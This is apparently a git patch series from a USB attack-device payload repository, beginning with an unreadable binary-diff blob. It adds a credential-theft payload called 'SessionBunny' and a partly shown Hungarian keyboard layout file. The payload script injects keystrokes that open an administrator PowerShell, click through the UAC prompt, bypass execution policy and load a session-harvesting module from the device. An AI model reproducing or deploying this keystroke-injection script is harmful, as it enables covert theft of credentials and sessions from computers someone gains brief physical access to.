za#YcF(Lqw&oYLOb03UTrnclLyN%h;#Pp=bH`s1BqFzn2@tT2oNtv+tv?KBFjC|DcR0+PyJOSrWZanTHM8S?3w$T6JV3x5SQY~82# zWRaBSP%m=TY&ZhSW5fE=Yyk>%Ji1QLgXLRaWYN)>2dO4?L@h=Kc(JTnB>W6g2HJRu zg|wcC<9V2Il07mRIXIc7)o_90Z2T3N#|UmBFH6wt;E~eUGEMI>*pIkXK|$Qq>;k%E3hgu!Ou5S zh%1c;y`M_vP+k!@Z9JkHDekw;dMxS@(*+Su;ryjXyeZrFIzV6SDm9+!X@qK2AC}Ac zDt>J??;hp^uZ^=xm}!^W0qxQXX^!ro*NQ1Fh9yR;K!b{XEY&~RS)wt;`T3BvR3wx? z`x8aT<;`D9c{-P(e(}${0%<8q2-KuvM?7JJ;(r?$SQfUI z%T$+xpSbP~v5$)cC1jXJZ>2XTDl;!c)hl4rN5NTkz)X>|6sr&_#Dl&)OBnmV+5?>0 z@Ydg^uEq{pUtkPozVt-4qGD_}MjKs`x5jQmQZ-1nTU&ENIo*Hk>bs9t083k8L09Qj8uGyp$21;4k|Jns7HY)1jh7;DgYAu}l1Hk{gajXyQ?be)rf{&ygnanQ>3(cj00ESdfX@U<3HKj>&YI6eq4fXI zjHUknK$-uKt1BFSJ<4A~eE>19#%SEJY`6t4m^-as6B$i$9IdSRV#f$`74Y{_qjhw` z7w>Fto{{LcA^`Dp&+3;@8_F~@fhdMCiSkO#bP1Et0$s+0 z(eckO34`ix@?VYT&rVRGQS9-m8!{GswCdK?_=I()adT)wbrE>cK_+2W<%TtGav+$# zB;jUNkkG`X&lL=IIe_5=bu_Vm7?a}a3zgt0gD9qy9Q*3N*4bJ=R3StMjUW!|q>J;mHDmp$Pax#9GhcLHW`4WX&bDET+3Z1qJ<`^DRqW zDZ45Jl;^F)q``oV1xC(a`}CJf8sDgE{RbAk@n-DEwdF!P&Q&3ADj!(n>e*1}{pB_ICtAnZp zRbP&dp2d+Hu#+!j#+Rt0z*jifkt>(&>Y!&82mi-hN8{U!C>c1QirgqQHwB!G9*bl# z9?rlTxe%GyxOQ01ReGM!4Unhi;_`r2)dS=q{?7&Qjr|Bn&$9+Fecu3w0O7gh_Ep`JMaDyW@@V#v9}A|A^aN)?RC_IluYM`K3p{I~qXKwB*|J#5d9-@(sBP zwQzmlcux0DQq~vgl1+%N%_|d_S0GzqIrsOhBQUnYZk_!%XFN~fDPRWGhOPmxQ`=gy zljJ!84}kmNoKtmn?PcbZ64Q0jkkxz+Fi<4|pj??x{RX=hTfUsVa-v{!E+$6TTpr-@ zo+|v_30e(b3wIdhIV#xzXr?-)M8A7@ze3@+Z26y+7pfGp7vYtrfm>FwBDS8ko-ysT z$z*#%E2X7He!kW6!`#2cA)d5;r}?X?QP1~@pa?+CfEm0z;iuKx!*q`GA7@|Gc|&ZN z-5!^bN;G1=FBw2~M14IJN4`x_iUFmYICg=t+%z~8`Fh?N*A8}twz)U&k~%k7&mJ~? zr&@^uwRxz#QHA@Fc7^x8oZ=I|C&7q5o!QBM5$Ye-&D`1fhwRNv#{46#oSD?O>2+h|4MG+rK18_y z)`--Cf9T)xX8*;^Q*O;KO%YhOv^%uHRLyVyLf+W_Uu|BJ{O-J#gpQMD^a$Ie$- zFBYwKef{5hp&z`*d$swwFr4Z3+Z1*z4-rX!D@IFraEymsn@dwQOS3+K1>}UK=!Fwm zW90Lqw^9gOg)!J^VLGw^Un$WbWtP^PE{ld1Rwc zPP>o`M#z##g98l2YyI6ic@b?Cy|V8`1pvim8!^1PlR!^Qbnt*B|I7#F4y$1Kx?%fJ+2)ENs{&FiVyP#iqw(jqbfH;pPNW@s*UO@b5 zIjO6!pSL7kcVWHq*1QFBfbbSk?wFBQuW6N*hJknT-6v!i9f28jf;?w zL3y4AgqCwEiXBA?6f8^90ZIl^(K;?~#wT4DU^?;;_C@g%2xIODt6dR<0J)HvdDQXg z;1%*9a@Ks#ZwFs#TA6JFWa;;8_%D}a=pW@vb^DN5`aAmZMkhYF+s%#l$Og$?ISNpw zmz?L6cHgPlKBpf`?VUtw#q(Iw3^@$n7#YQ_5wBSa`W#jF$GS$b)tE@P_?+sKJX%K-pPR`z?v;J0a<@2~Wboy^g{UJoRt1`_O8sUd3&p1>%>H z0FwP8IEm@`Kf9d8Ipgm@~(3-auu5$xdKXAC_Dk12a_*wN6VEjkoGWW&Dh{2KtJSJDu)T zZ9IL3h3honJqL(46W_IdM*EUee!adM5bIk<>aj&Wi((GlyMfF;8l+9(yp$)NY~(Lx z=Av@e)hDC|XaM=X6Tzhq^*}sP)H7aZhhd`Cfs0w65?r zWSJ^6xpr6R{heC}M*hwbO9AO16j@fuB7>h5NwWqx1j)9ZDCq)ta?~`MskgC>T(CTt z>fH-3|4jWgSs_G{KBR8CmAxgdp038DQ~dQc-Ra`O^FwYGK-#Hypk$@NsC&k)812;U z>6egf6%;_JhVFe>cet<}Y?(CNmL|BEbyWwvMFl7{WX0U$p26W-m zb^+)*Q1Y{Tp|Y~AtRCG=74GjGy~AYC1Y@&&&%IL*Mrd#ONX$qp;8=5^U3dm=+HU_6OWXYO&kd-I+# z+JBUfBZ*WE6dPRf26#Oa3w*?h`DcOxlMROU1J^Aj4z~37{Lb$?Q|@#8ikC08rx`nt z|2f{sm2?+=;LF>B)9M z+cv*nxlR54rRy)4EMH2HWrwn@wu$HL1quU)`Vz9OQpY{n$yE(XDrd`@pIh464ICJZ z_XQTy`2&5OabtYu@Yx?%%=XBRe1voC8AYp_K=h=gwO&Y;LQ7`Gwvt;clCujeP_9>x zX6(G+4hR?h8B;!3raz|uZ+ysjka=pXprjIy=d~Zd7)JY3iVap`A9emmN3zu)a|3cL z)e6i>Uul>EPLritDAKXc#}&yFG1%!?RT1Z}*lXR75ozzWQv@2{%UsUzJ>FXQM%TmW zm;2?6s$Sd1`2#S&u~(dDum3ZB&7O5fiM`P*G0 zv&_Z;7r764@8Aroj~gHAiG>Y9edvA455Z5tfW*$8BG!LZ?LQ=YEPV|EN&k@EkrcS@ z+9`mz{kIs;RvcoKw_&r}DJ7J0tvky+0z5tE!!M>CX2zCzcj4nZ2Fl7Rsehlsz{B;I zYgxFqju;n2{N;^a(by-oHN@UkJ9LvT zmiLbP;RQ4`4JM^28AhtGN3#Nm3qKAWRu{eiyrGlF-}*%#J|ABBPtW_6lzaStt$B$3 zn@U!G%KAcZGtdyq7RSyQ9_^9txj_DijlIQ`>2xR!O!e{Czp=jozck-*?0N>7X@5JA zg%HsO_@+6BL3>frwPRI4wQaPge~X$v|vek{_6RAl0wkJ zs_|^d{ALhZs-AGAFN%>8Bbl> zaswcNJ0Y3QBmwG5&z8t?qtVniM(iovbRPLUGaZ1u`@phR#9?OWNgX>J;5oa(taJK1 zeSn5>C^7rnbPSJ-1ktbw&Hh^1z8RqF2Wo>zSqWxb%9mk-WbL0TIEADn!rQ3KdHyV> z>%YV3!J@YYeE>CKQZI)_c|aTzWmjYCOd+S<tBi`+0Fzw4Eva* zGfQ}?Qx^u|0U^w|Bh7cl%>f_u$jF@e8~xaWsl%x@vDssj?l8g}R|E9VH|s?rdq2I7 zK(1;6_~rB!vWO#9bZ^YkA^vdP_SZ)z02F-=UQpVt$lcX@VIPZjRb%nfG${52c5F^D z?P4v*GxpRJwl@`H#s|)L=zY91VZclmXxgN!_nGgl=(Vhm(VGehrb_GUqzgwD|fnO=ry^D?iX@Vye$B7nF!9Tj-IAP7=e1 zgSY$|5SF!j9h$;y69X@E9`D>o)`Vg#r8EhJhvUTtMP;yKe%?m-un3yAXWZ& zepnAc9W9N$a>~vOp>P=#s8A`CDCtG=o`bL*2%AS;H>?>0RPZPRq9^(vnI&?)M&nbF zfQd4OV!v!u6_&#vMn#ZPL05tf3-@0)zfi4Z9#j8w00P*m@0vqmnJ7k5ixH7kQJ=uHPTp$F9GjmTZJoyDO{iC;`Qszn z^1k!tfSvnFlxc|utF}K?WQ!halY;?#9U%Z7N$!xOoFh+lV;x9bjH%;qPpCe;>glf} zNqh0<@)y*WAZS)j?uyT%R;i`zI$~(l6d+(urwxC#G@ef4NXG#;)cd6=QY9KOz7-8c z92DzlX3Db8yrk8;#yoOGn9f8hje{~VK5;|^=K8=hk94KM1-xb6R50_?j%}qb60db1@#OY z0|L_Q$}z<3Mg3Ixb_%*XtWMB6aduDLmV?{c!H&as1dwYO-wTI_3X01L8J}1U_$03P z5e0BE$JpDWN#sv@5xxVERshn&jnkR;3g{D^rT@%oFmZBAPcGy34xGRkmU}!;1xOML z5Jri0g6?=Dv6x_>GGciBr<_DM#`a&!tGN~t`Qwi;BZ z^HOfgvMGSPs0Rv%bI`Z42^vg`XIdjw-f?z-0KV1Q z;H^Ngpk&M+t0Sl*6%V)$%mBZ1mQ($v6b{xTa^}g8k3@)3P&ZmA7}*D#`a0k{w9K@; zqj~n@hD}9l&Q)`fjv3cS>!6?Jjgqjp6%ZxEN~1@Q`9Nm4GPlTk;vpcn>o3R=Wl1&b zS!~tuid{hr@Uj~?ubSiI>?~96PI}DTHB*2_a`6v+GayJZtE&fiAuoM?;gygNRTjgH zmMl*CPWuPlPyg_)otMVvxf!UCD-U&bRTzz`MvcVGe5WJ_L5bTE8rh!5hfRS=U-aX{ z-kffO>w;u$6J3SfSlR}hAXqr@sY#;t71X1WCiqpC#6)uU{6iUy`0n2GMUI1jJ~vV( z3fK|y0A7K4{Fye_p|L(&%zfpPg17Z;m721jBI>?~nC=LOzbUV8gIN{sQB6|I?l>XL zMt&yUFAVTgGyZdXJ;?*PWf?uaJ3-w$%9%i&U*W(X^TqM`%{>iFqNgl@PzVS`Ad$>eh6L_j4{0@$uZ>@TcoxQs`P3}q#o}n_Fi2<|elm{)k44KVQ zft5PHcvHW%YEGEw@?bd?=o048sg{io?;5=mLEdwhcPf$_2rgjXbxF`iD_771Efy7v z?v|vNme=496l3`^zizd%lo302_KJq?F{e7*>gJ8vnZwPxwh(v4PA^6t=XxO5YT=;! z@xX$fR-X;p#W-1Pb&IEl2Hw5_-I^ZSJgyCdh<)@_JTV=arV4eY6`Rc$+al8}E=|sb zC9##_<^e4nwm6Nt3yC7ewrA_7xSse3V3<71NBXcbRT!!fS==cr$wf9vR+UN6eisAL zpb#_d!v^BQTQnf6W3*L(yl8{!!`L!BSWkwK!>6lc{-?{BD@}>fM#gpwTH5Xa(qDGC zCO0B5PMDw;1SnibFICA#)^6K|3XUgPE#`F3r)jXJ74z0gqh)UMCM_QoV4{itK4(KZHlrZb+}k*s_n>btZ@*7+HQ&OQ+Nd;y>ES{1x)|Ur>7K9v4{$+(qmW74exik zdF}XZr-03QH^` zd~#6VW;u~;NixXMpp%Ucul&Hz<)j8^Mv1DfCqvObc!4dfqmN^x_m9saj7v)$L?4UA zoL%&aR}v|7A%}nt96tZ%n_Xpdii}W?TK760F+7A%HfZYQ>)UPut@QgO7Ht*RNk1s! z4|UjObrt;MeWcH(G-(9oUPquR?fvd>LYHcjX{{H%cP$ppqMcUv)?(KCCmDZ?QH`~f25;(-< z)@Ss}rdo)1T!Q5PI4)!~@j&VH-II5ZM`6pZU;471{rd5zhj)s4lhLO?(R~~5X!Nc< zFW_5V5Q;=`xm(rd&Cl|0@E=Aj<0V9cU>Fz-`!L3jk>f*+V*25 zn&4tKq=D~9$67cZG%GU#&&qoIJyMRbHlE5^SheN@?1rsYVEXc=SVRy9a9U$~DIrXb zkvS2-&mV{oG>v;YbU?MH8~(|y4dleqkEvI(nz_!ih@is#Rnz@G!(&vrn9xz!7CKuU%X4m!$UgdpQVsoM%|?T3N~T#}EW1~dUTwJb292Ac zCvailNa6nUelK$g6BRzZ$2E&hZS%{x)&QLzDxh{-T&I0}yd3|<-ym;iwq8n;s}~;c z7O=$|Ga4jy0E|&l)ry2x@D1;W_zxJ(Fpf6oXW1xb_~ePFX3HEV#B$=!Rv8%BA^1bq z3?7vvSI8_*zVh_?)TC`ZmX4b1zTY1ptC6M;W()CX-X?Yx7^YZ*L zs_-#*GP<9O#dxr@AUg2O45-$lXQiMg=rLufY9smZ*;>S)*6VZjJYzZGd?H~Cd`&vTA6CF2ugbFJ7iG3d^~%Dl zzmj+nO6XFVCJ2vcVSF;P+6M$fO?=G0BZ27n`)v%v^Um8AYhVJ6qjJ+CNwfZeDv|zA zw3JBJ!$?_lik!sCAd{iEROZfSO)dLj=eVJcqP&8$rM^zw4k0;3Fnw6ziJ)$T98NIQQn@E|S;hEAW@{TR6uYgF&~C2P6TB0q(i-5%*z^L4IM z(?)yeya{s)d(~$>yXy8|}2|cXIHOi110sfS) zyfIX^vl8E+*=E{4?R1Itq5XHLD+Mf|QisNk`|lK!)?Py3_B=wVi&dIE>(;!5TYkft zJK2nOWfJVUNJ64=0mNFy!;5zUra7X-L7uh15hy0W5wtU2n{%V{rJ9!&BGWlN+ercP z-r|o;7DV*AU|47A>FwcT;S<_KHo6GK3evTjTs99I*FZg*@rqMXp15*9>uSZwa~l$g zi`-t6bl(p%f$nkrWt&f<=FP(4nyB}2DI7RIdt0^jc{|A%9@N5$kFZ$Aw12Xu+d`zz zcEW4lMRY^m_x0zJ^dd=~6`;uxG}c>lSp};MbT#|^-L!rgZR1{{(T~cB>z@&nRs~eI z0}LAWd;KcXohHeP6*%ZrUmhkpPfFiCL|cxra~{)$fM zlC0L2ouUiponDbtTU{3h*zxWBT*7FQe+4kiI|fYhG}~xBP=iy zGX-v4*g%GXRgkq5RAkFyo<%0%VI0Qeos0XA;+Y+M)#7~Vs%Qp`$1AxJ)ve7coA8Kl zddKf)&B2P=cw8R1pG9(L(7cX$k<6wUsBsQ|vhvjO6M?L4cNfbR9sfi-cu%ZYRRP)*=NIMIUFzUebId3VlLw>-|8!`^Yk@BE(nIW_OH-NO16Muve>Y=lL6 z;XLmGMlanr&l0y^rwg^R^DvED$Wn>5{6qjv>!jY8C}n6paqQWqxTjYz6(e~{1iugs z^lENnXjbj)@9WnA zfs_Ttdk3Z&Fp?PHvHAK+yz-$b$f^M=FyvKM>tIq1Gx_>dRI<0T-s6$;afQ)I^#cn6 z5{>KCaVx!>X?zUN67tIC7Hwlzk`261Flbwa#6iU87qq_`A7Wd2S?~Ei_!aaF7^gO* zpL-I6 zJiGPh3QmrjP6VH4-3CJ-;?Nc-Shfh$S+t8+i`A=&OZ|xnJ?`~tSKaEXjD9Lb7%l18 zeT^w*5|A2E-K^MbsX2X>d|@go^@i_N>!{O(h3R&9f`Zc_naFvoj56C=76IY-gCj-w zUzR2I5u>ZeSjXVA1=J+=j~^E&{SH{IcW!F@&O$fxjTyVF5*CU6kcV|xmg}3w0w^m` zf*(QPWXSVjVAd6C2P#^(plh=h)#WuvTZK9caJpGcXO--%t)j7(+&GAzEuB<-H&CPa z*>Q-s(D)5G;sJmHd{U{1G2@<>qCJ@b{ujD!M1_diePvFdiLzrx4F2g(v&(7J6hrc( z$;GDTDKI~;)#S0^Hk(fq7Vd`Ty{nQ-A4qu{&K>q_l!UF^y*DKI53UqZ#pMq zy1xu;yQu*+BYE|K5&q}qHq#iv3w=JfF;jsNyJ)}NIdC;K(lfuI>EJW`7!;{O&VBg? zf>`%e%-KsW3amS*W~mI^O}D71%>q|o%0D=1&3kPJRgPBHby>yoI`++L zLFUxrn_j#}i|YBKSRa9>qvf1kU*vK%*CTmm>NxzW{pLGB^gGhxN8(EthmT--wgaM# z``<~5YVv)5ZK}mv3!R;>acFRp9ofuWQ$Vwi-+03$5Go}qp+Sod!}UPbBDgy+w>^b! z>_5=)Tq0#ntPq#lXSZRS97U z-iWdt1&P6v5csU)f=6CCa)14hbs5s#i3WsFTS;DfjY%w@%;?vqR)VsC%-yV36? z1mlC59uw!q%j!Npfad!cr{&nc47yRcUE(eTfg_&40+15yuTc4&g3HKzhRkewxf`?& zxAEv5b=H*t+YSFz%*<92-kOg##}!Gm*W%rDyn9VciTESijTKPx8*@U3*wl${t6-Y* ze{O-k&f^yv_ks`lJWy4xhZ@yazz!S=oxdFlGmV||vI%ac;@3!b`!;Et0|svDIyMg^ zoAx*56RHSLrx}Z~@DQw2#H~*X-^z+#ZI?|!I;GcXnUN-l#kCG?T8~zHgqc{;xWRzh zdUb+X-VoOu7~*%L{3JWW=U8Nu|A|qB2U3&UuC=SXEp-cv%2Q!ak(&zz1@X_7no>f~ z8Z^ZZEbiBidz_?rZ@jFM-g{kl3|`dRWq4&>zIYM(L^Zf~yf1rtsN>l$E6-@#OMS`} zpS$4_IQRAtQ4n=;@`FCF$!#4kYGGz$h?X4;?U1uYvd>S}L~f=wEL2P+=4X#!M#@&# z6n4L8mIrLha5nBRu`c@8;VDf>WFNMsw0pRs)oS#MnOn5Gb4$XYm%S6-TRG>CmJITX zl(ttydU&B>7LwHT!!k@zHg{09sh@GJSnX4=RyVpQJwc)sVp!~1f`QMjMx+cV;DV$~ zgMQY_+Io7XxYy&96>6T`dJhiNI<4(^u#YX3N`ScHX@b~gW6z3r72E)qzlt61QO%uv zrI_upTtRcWKl`=NL*X4R)xrw-j6rsB+XY{oVGfB*UYMQ;N-WtP4@mKht{rlB9QDp#3-t5 zp43v9S?6c&F)*PdvOT#Fb};u@=lfq8wQO;SmG{YHwmTDwCXsba0ytoe;r0g8>v?5r ztrya)pJ(pM?WMm>B#x1kMRNVU5F!MZ)Hh7qq^tEF>n${bt` z(MqlDB!G>!ty~iy6jpR(umPz`z&BIN#rx}u$JQjdlMrz_UHV?48a2d~+(r4iyH%}W zmW)|xTvCs^=eKAKZJrv=6DyQy{{u>dp-FXz1XmpM)1n#ttv9*x-hWn9x4?+fA3_aY|$zuk#yt5 zd;AAsujsNuZ#NfXqg0J~8MwjLcO=E_OW_};^vs~5JDKy@xL7Z5m489t;BkO0>?DCQ zcvL5AHESkkM#gKr3RkgzwlCWGh(W)M+B?bLyx0#rv1*&OBG+xaL0gSCrG!zveQ&F? zpL?98csA-WEyE0I4-aCqp0|ptnog2x$xrA{9wzGonSn5i5SH({f(Ub~?1+53@Ss*)hWq4jZt>`!-$MEJvgzJPZg=0tZ&%FLt}pg! zYskK*Dw%_s@}7bfq!@ zH^|ZN^xL5V&3ffh+wwedW7-#Y4f@QMW!$9eJ49EPPN+N5fied%63w+F^G9Bh##L5- z6yUgjxUL&Z{gCu+cvKQTtP!eccbs|IUip<5C^ditNuUhAyt7T)faTYuW!Y4e)2v3J zXUzhtEH$7&BIx7*rc3jKP-j26Vk4A!Ub;eJKmOMXr_fB$jRl!-J{XWh5hfdbdI!!J?Y}amF&ZY!3bQeQu)8s_nqd&rje;M=WSP%i7m-yA;WAeK)5Q8-1+(AU* za`}ga7@ZOZNMN@_jtaL!zMVC{OcHHW{Xpuow~D$WACjOT`+~jQBs3xl)VXl?fj-*so4{&)u{Qja9XA$6?>b zt+FMhxCPBWGL2=&ig;;=%J=SZ>_2Mh+FI~y9@2HLJi+kRcUv};dj-dD^T4+ufg|PY2;GY3yjvAM2L7jVOoQN9jI)xPAeeTeY)dIJ_ z+67#>v>d5XeT!p<0Ve3YYpUjqdUVAr7eQD!R3r=(fOv2)qk>5se;JjRT0Jnm0##o| z(m^l+{QHfUo(h!tf6OHB|H8e+E=xn7f5w)N47gt@tQoK+^teKD+&qm zumyZQ0@h9ZTbP%hklhe1XPDT@YokrFel8dlMi2M+!(uJGPc zwlN7;>ML^IBmGh3YDK=aBLmJkmV;?5(%Z@RR8%0OU(fO4B*6X9dVN22*D8e=Fyd~q zO|pHSWsO{^D=*W0Vl7X4>|=~8)?nZsf^5ATpI_AX5BlL=W-I_-nDa+5c=)I|ypA33 zb;bG-%=x+wa&yc>KqgMCPPQrn26Coz(yPiy$x0WYU`d@ zd}VHk$aAmaoF_Lv3*`ZSBYN``vq`_aC^+3zs zKyN74KS=jX;|H=Y#z>hQRP$bd)nj-wx9OdZOlEpq@0^>tEdsHQ6ldws<{nEN>)pg- zl;vYJ9EgT{pQRu1mDOd}RCVNYv(SNN6?;=g$iP$<1oo(|zhreE3)S$FziJ}zt0$jj zu&T8InkDD|vrfN#!H<}g+EgwZ>$X0WtzA-ya;vt;|GqLF_wF=@*s5`ZRFPaRW$%RT za>c{zoNT293%mXld+hgTwd%v4$BmjfCI*@Y@c*=Zg&OS^)WveiLWoO(#zN;ToL=U| zg(YzEjOJW-GMp*awciLln&w|@X?PAksMD+_(0`ID{K%j?`s|V_QQvXEr*};M{2IlS ze3U&ffMzrDvCtH3>{A7u#qL0<_>NRsolb#Ibi{qi&HjJ107m z>W7|028|icTOXCyssicKV!GHacOL!K(8Jef$0TcbE9a1yUC!pljcG3y@N2HpwlawY zOrI*T5296GE~$0vb)EiVzHi5vV=^)n@d2tapmS!)GtG+kZu#VyTZYGH%AJ#VOKn5m z9?*}eSZ4wEiksDUL)%j@Hc|J$`gKAbg+F}||2S4Ah+Viv2!n)qcZR8Y3|1fl3#G)F zDVrbn-v+QJ8=5=QqU!8%C*0chhyS!uRZI%W5Pqd`Q?j=cc9;7}?U@{kh+spx;m; zu+)9u=c7Nc<^5N$?(5D`929)+V>*ipUz~ow?u2*qXwmF)W!s^X(s36zEGJY}5tv_y zxKwv&q#9@YwszyOrMv3j>xVGf_cQ-3wD#b4r`E=+zk4hEIDg1@=Uh5@$XKBB{ufB# z-;lchIhQl(Oy3;}BBdSTu3!3Byn--z8Ol1MdY(5OvbpeLT4m4wYBkc{2%{8 zw_zvtpehWw=&`7?RkB;Zt{&8X0e_#o!t%SYK;G&ej3aR4OFiY@RL|Q&jP{rJ_nQ9k z!xntsik#^rAMzIWU_qPli~o2U)c#J;KYp0$X8G%GpW}kIav-}S4f{2u1Hu&W1ZiLf5B+~=Y0A9eqQ=5-h~0EE{i>R z-#h)C4mSSflpSVw^DVZ(QYA8C^U3vmSZq}YDj$>lI=|D80==iyk_4wtL4>XiROtQf5v=!8wUV=RR9b`DpWycJgrm6^Lwa5Z=`iFlGxb4khg#0 zV^VU1C*0t5$6+wTrlf`0@0&%4#^Rp^(Aa|NY+g*^1KnCvgp-MmQ)Rc|(+Wh^0}?v` zv>HCndH#9b=!24ED?woG7K6mOnZB?>3tDM3%#cZd=)fzsROpDQ1{iGF^tNLj@8Fdv z?9S&^@zcXg=$jYl^&|WV3(&GOQkp%+q-M?y)aqk?B`<0TR^K6YI>p}YR=Sp*L$_l? z@v3uVUK)y!i}zx_h?0p-?_t9E?ikGz>tMa4ADl!O#qXj;Qw+|!u4^H3aE{*a*>8Xj z@S?C@7lVrAs&Oz~BXJL*oGdwCJ`m@v2?wEoA!>oFxl5&WLyNT_X8PVFc3A+O?%qoh zc*<3Wu5dHK?a!qkEE*a%p<+Dyg<>g?vy72E#kp*_y3`z|#ajDgj1#hB>&DQdn{czkWpWwe6VT{nI zo6TP@zxpx-?`h2so%J{5(W`dl%hUE&$pC|u9|6)gN$bcu?CMPv%jW32>Oe&xXx@F( zF{I@*qxM*L&q$TQaM?RQ_8rFlC)C<6yJJ4F)Za;fV8lUo#+tVV#^3CY6bzf#QYV%g z`w>QcEN1+wo}fv8G#gZ>cx1ynHy40R8DgGO%wg@-6VGk>-R&8l1A`SjBPtyO)s}IW z(Lc{9+Vqn3oTKN%O$8b0iHgdM{3!Ik&DT$;HSrk*079w=fUBKnkxc2kjw9*@Iq(;W z#HAMLOuAglZq>@Rs zYO_|odxPR$2{q%|Kc+)&HhWh4CKSy8xZa(NxO>njlYpGmr zzO={i=2y*+3ejIEoS{wC0N2$ijy_CUTmU@Ag)<`Nzmd$sGhFf30juA?j?aGDbc6&! z;k611&F{OZtr8VxeYd{b35nO@OP?4KNgh{8da2pQ{ikcNgHj-Nq1%*%!o702sg?2| zfr!?uSf*y`b%c4M&RvnK9oQ#=%Z9inPF`@+!(G+-gY z(lWTz6rzx9U?Xg#pDtV&8i5cH%lfivGvy{Vzm-@-AZJnB4TPT!aSc2y&#!`whCy|w zJ-ZYubkETXChDk(TRKCQtL!XH$uljP*_^RADcpNNB*+v0n%x}!$7w#%P&e!*m2#C|YfN|uVOmO~tc zrIntLRManmQ{8AVuF8Ehun32Kd58C)mS@+o+1SBrCW8Mfwn`4N}%C-R4xR3c-l zuVxfx@}Ua&c&UwM79t;jSr0sl;Gg#1+?Zzo3UBc|k@_OkOZB>HA>H(~izJOPLF>2? zCa{c4^H;~~C^EuFUth3cS`LzNuW#d+f16M=eUkg43(h&Q13Kw12)|zZoCP~yP%yGI zH;8ljhV%SRTrGWpZymME1fUGfpWA#54)~0&TBuE4Sm*d3cwN-`yQlfzDKLPSp_+C6 zbjm&$s#h<4T6e(MXp1XB5AfqdMfCpw=t5ar+!z z>T@%pTW9^m?;xUc&u9BuyAQmSw}q(Q=lgm_gubBKvU?tyR>P-rbKv3TE*R|CtYui0 zg|gqp6C53X`GXLUo}s<-T=5c*42k9;MdOA=6S3QfZN36W)o%m#IMvulc-rc1G*0K| z)=&*2)>T$$9OrgDP~nz!db#zRsu%NWQuCS-ys#Do4yX`YkS^+l4suJ(rXcqHv|pF; zormwh2AX!I#)%>#_%5U3e3l!PUS~jV^`od2&SqyI+u-H<;o-2ey<@WTLG%!8C92U* zj9AU6S1V3#?=8rX!G&%;M8OnOIp!XW*}~$gip$t0cfq$!ZpqpDO2dw>gom)|M@+r? zGi#1x{4MwX*xLHcmczh1nyFFqF4kdXYm)s4qx}*}HaVOx&eR=dS}po=Y>#k9F(Yi` z$TEsMrPW{YY6p*)^Br&3HXl};o7B=45lGhN&kaffI3|jSSCbqbb~odxG<4&7k-C5l?Howx&4^Gke`IL{Ub`W7=ct} SLx1xBP*PC854&sj{C@#axrfsL literal 0 HcmV?d00001 diff --git a/payloads/library/credentials/SessionBunny/payload.txt b/payloads/library/credentials/SessionBunny/payload.txt new file mode 100644 index 00000000..4531e181 --- /dev/null +++ b/payloads/library/credentials/SessionBunny/payload.txt @@ -0,0 +1,44 @@ +#!/bin/bash +# +# Title: SessionBunny +# Author: 0iphor13 +# Version: 1.0 +# Category: Credentials +# Attackmodes: HID, Storage + +LED SETUP + +Q DELAY 500 + +GET SWITCH_POSITION +DUCKY_LANG de + +Q DELAY 500 + +ATTACKMODE HID STORAGE + +#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING + +LED STAGE1 + +Q DELAY 1000 +RUN WIN "powershell Start-Process powershell -Verb runAs" +Q ENTER +Q DELAY 1000 +Q ALT j +Q DELAY 500 + +Q DELAY 1000 +Q STRING "powershell -exec bypass" +Q DELAY 500 +Q ENTER +Q DELAY 250 +Q STRING "Import-Module((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\SessionBunny.ps1')" +Q DELAY 250 +Q ENTER +Q DELAY 250 +Q STRING "Invoke-SessionBunny -Everything" +Q DELAY 250 +Q ENTER + +LED FINISH \ No newline at end of file From 0f86f0ee24fdfe623cd16d9e0242023de8063c87 Mon Sep 17 00:00:00 2001 From: Skeleton022 Date: Tue, 15 Feb 2022 03:37:50 +0100 Subject: [PATCH 02/14] Hungarian language support (Hu-hu) (#450) * Hungarian language support * Updated with missing COMMAND-OPTION Updated with the extra 3 command variation. * Last update to the language Completely done. --- languages/hu.json | 187 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 187 insertions(+) create mode 100644 languages/hu.json diff --git a/languages/hu.json b/languages/hu.json new file mode 100644 index 00000000..71cae1fd --- /dev/null +++ b/languages/hu.json @@ -0,0 +1,187 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":" Hungarian QWERTZ language made by Skeleton022", + "__comment":" Added áéíóöőúüűÁÉÍÓÖŐÚÜŰ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "z":"00,00,1c", + "y":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "ö":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "ü":"00,00,2d", + "ó":"00,00,2e", + "ő":"00,00,2f", + "ú":"00,00,30", + "ű":"00,00,31", + "é":"00,00,33", + "á":"00,00,34", + "0":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + 